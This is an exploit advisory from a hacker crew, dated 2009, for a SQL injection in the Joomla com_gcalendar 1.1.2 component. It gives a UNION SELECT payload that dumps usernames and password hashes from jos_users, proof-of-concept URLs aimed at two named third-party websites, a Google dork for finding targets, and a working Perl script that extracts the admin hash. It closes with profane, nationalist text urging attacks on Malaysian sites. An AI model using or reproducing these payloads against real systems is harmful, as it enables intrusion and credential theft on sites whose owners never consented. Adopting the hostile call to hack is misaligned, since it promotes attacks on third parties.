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"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`
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[o] Joomla Component com_gcalendar 1.1.2 (gcid) Remote SQL Injection Vulnerability

--==[ Author ]==--
# Author : Yogyacarderlink Crew
# Group : YOGYACARDERLINK
# Site : http://yogyacarderlink.web.id/
# Date : November, 26-2009 [INDONESIA]


Remote SQL Injection were identified in Google Calendar Joomla Component

Application: Google Calendar Component
Versions Affected: v1.1.2 old versions may also be affected
Download: http://extensions.joomla.org/extensions/calendars-a-events/calendars/4188
License: GPL
Vulnerable: Remote SQL Injection
Google Dork: inurl:"com_gcalendar"


Description
***********

Google Calendar is a component that will allow you to embed Google Calendars on your Joomla 1.5 site with ease!
You'll be amazed at the flexibility allowed and the degree of customization.

Details
*******

[!] SQL Injection
attacks are another instantiation of injection attack,
in which SQL commands are injected into data-plane input in order to effect the execution of predefined SQL commands

Exploit
*******

-9999+union+select+0,concat(username,0x3a,password),2,3,4+from+jos_users--


Proof of Concept
****************

https://chesnetpc.com/clients/index.php?option=com_gcalendar&tmpl=component&view=event&eventID=peler&start=memek&end=kentu&gcid=3+AND+1=2+UNION+SELECT+0,concat(username,0x3a,password),2,3,4+from+jos_users--

http://www.conradawards.org/index.php?option=com_gcalendar&view=event&eventID=peler&start=memek&end=kentu&gcid=2+AND+1=2+UNION+SELECT+0,concat(username,0x3a,password),2,3,4+from+jos_users--

-------------------------------------------------------------------------
#!/usr/bin/perl -w

#Joomla com_gcalendar (gcid) Sql injection
#Coded by v3n0m
#Gre4tz: All Yogyacarderlink Crew
#Special Gre4tz: Google

print "|----------------------------------------------------|n";
print "| YOGYACARDERLINK 'com_gcalendar Remote Injector' |n";
print "| Coded by : v3n0m |n";
print "| Greetz : LeQhi (bug founder) |n";
print "| sHoutz : Yogyacarderlink Crew |n";
print "| |n";
print "| -v3n0m & lingah paling ganteng se-jogjakarta- |n";
print "| |n";
print "| www.yogyacarderlink.web.id |n";
print "|----------------------------------------------------|n";
use LWP::UserAgent;
print "nMasukin Target:[http://wwww.target.com/path/]: ";
chomp(my $target=<STDIN>);
#Nama Column
$kontol="group_concat(username,0x3a,password)";
#Nama Table
$memek="jos_users";
$ngentot="-9999+union+select+";
$b = LWP::UserAgent->new() or die "Could not initialize browsern";
$b->agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');
$host = $target . "index.php?option=com_gcalendar&view=event&eventID=peler&start=memek&end=kentu&gcid=".$ngentot."0,".$kontol.",2,3,4+from/**/".$memek."+--+";
$res = $b->request(HTTP::Request->new(GET=>$host));
$answer = $res->content; if ($answer =~/([0-9a-fA-F]{32})/){
print "n[+] Admin Hash : $1nn";
print "Sukses coy !! Wah selamat yee bro...n";
print "Coba langsung dicheck ke TKP aja bro biar lebih yakin...n";
print "n";
print "Attention:n";
print "v3n0m & lingah emang paling ganteng...n";
print "Yang kaga setuju/protes = GAY !!n";
print "n";
}
else{print "n[-] wah gagal bro (Belom Cebok tangan lo)...n";
}

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Thankz : lingah,aRiee,v3n0m,z0mb13,m4rco,NaZmy,IdioT_InsidE,eidelweiss
JaLi-,yoga0400,Anak_Naga_,badkiddies,g0nz,mywisdom,setanmuda
jo8928,ripper_maya,elv1n4,dhit_coxon and all YOGYACARDERLINK crew

* Fuck to Malaysia <= the truly thief asia
be carefull your culture art & song,island get stolen and claimed by them
letz we hack their sites & servers !! PROUD TO BE INDONESIAN !!
Bangga Menjadi Orang INDONESIA !!